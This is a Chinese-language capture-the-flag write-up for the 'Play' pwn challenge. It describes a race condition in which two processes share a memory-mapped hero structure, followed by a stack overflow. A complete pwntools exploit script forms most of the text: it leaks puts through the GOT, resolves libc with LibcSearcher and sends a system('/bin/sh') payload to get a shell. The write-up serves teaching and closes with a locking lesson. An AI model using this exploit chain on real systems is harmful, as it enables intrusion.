攻防世界PWN之Play(條件競爭)題解

Play(條件競爭,多進程共享同一數據區域)

首先,檢查一下程序的保護機制,很好

然後,我們用IDA分析,發現一個很明顯的棧溢出漏洞

但是,要想執行這個漏洞函數,就必須打贏遊戲

而,要打贏遊戲,就是讓*(_DWORD *)(gMonster + 8)的值小於等於0,也就是Host的Surplus要小於等於0

然後,我們看到這裏有一個修改(gMonster + 8)值的地方

也就是Host和Hero互相攻擊,消減對方的生命值,我們繼續分析,發現gHero指向的是一個內存映射出來的區域

那麼,假如我們同時運行兩個該程序的進程,並且登錄同一個用戶名,那麼,它們的gHero是同一個內存區域,那麼,gHero就疊加了兩種技能,於是就可以打敗BOSS。執行漏洞函數,getshell

我們可以這樣

  1. change_skill(io1, 3)  
  2. attack(io1)  
  3. change_skill(io2,1)  
  4. use_hide(io1, 1)  

如上代碼,io1使用技能3,會導致雙方的生命值都增加,當我們使用技能3 attack時,當出現use hiden_methods?(1:yes/0:no)選擇時,我們通過io2來改變gHero的技能,使得執行後面的代碼時,gHero的生命值增加,gMonster的生命值遞減,這樣,我們就能贏得遊戲

也就是說,在read_int()阻塞io1時,我們通過io2改變了gHero的相關屬性,使得後面的代碼取得的gHero數據和之前不一致。

程序使用了類似於虛表的東西來實現不同技能,從不同的地方取數據,感興趣的同學可以仔細跟蹤一下幾個技能,分別對應的數據在哪,然後找到讓gHero技能遞增,gMonster遞減的攻擊模式。我們上述的是一種攻擊方法,可能還會有其他攻擊方法。

打贏了遊戲,就是一個簡單的棧溢出漏洞,直接利用即可。

綜上,我們的exp腳本

  1. #coding:utf8  
  2. from pwn import *  
  3. from LibcSearcher import *  
  4.   
  5. debug = 1  
  6.   
  7. if debug:  
  8.    io1 = process('./pwnh38')  
  9.    io2 = process('./pwnh38')  
  10. else:  
  11.    addr = '111.198.29.45'  
  12.    port = 59829  
  13.    io1 = remote(addr,port)  
  14.    io2 = remote(addr,port)  
  15.   
  16. elf = ELF('./pwnh38')  
  17. puts_plt = elf.plt['puts']  
  18. puts_got = elf.got['puts']  
  19. vul_func = elf.sym['vul_func']  
  20.   
  21. def login(io, name):  
  22.    io.sendlineafter("login:", name)  
  23.   
  24. def attack(io):  
  25.    io.sendlineafter("choice>> ","1")  
  26.   
  27. def use_hide(io, choice):  
  28.    io.sendlineafter("(1:yes/0:no):",str(choice))  
  29.   
  30. def change_skill(io, choice):  
  31.    io.sendlineafter("choice>> ","3")  
  32.    io.sendlineafter("choice>> ", str(choice))  
  33.   
  34. def god_attack(io1, io2):  
  35.    change_skill(io1, 3)  
  36.    attack(io1)  
  37.    change_skill(io2,1)  
  38.    use_hide(io1, 1)  
  39. def pwn(io1, io2):  
  40.     login(io1, "test\n")  
  41.     login(io2, "test\n")  
  42.     while True:  
  43.         god_attack(io1, io2)  
  44.         data = io1.recvuntil("\n")  
  45.         if "you win" in data:  
  46.             data = io1.recvuntil("\n")  
  47.             if "remember you forever!" in data:  
  48.                 break  
  49.     #泄露puts的地址  
  50.     payload = 'a'*0x4C + p32(puts_plt) + p32(vul_func) + p32(puts_got)  
  51.     io1.sendlineafter('name:',payload)  
  52.     io1.recvuntil('\n')  
  53.     puts_addr = u32(io1.recv(4))  
  54.     #查詢數據庫,得到libc的信息  
  55.     libc = LibcSearcher('puts',puts_addr)  
  56.     #獲得libc基址  
  57.     libc_base = puts_addr - libc.dump('puts')  
  58.     system_addr = libc_base + libc.dump('system')  
  59.     binsh_addr = libc_base + libc.dump('str_bin_sh')  
  60.     #getshell  
  61.     payload = 'a'*0x4C + p32(system_addr) + p32(0) + p32(binsh_addr)  
  62.     io1.sendlineafter('name:',payload)  
  63.   
  64. pwn(io1, io2)  
  65. io1.interactive()  
  66. #io2.interactive()  

本題告訴我們,對於程序中使用文件時,應該加類似於鎖的東西,使得當前程序獲得文件的所有權後,其他的不能在那個程序運行期間獲得文件的所有權。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章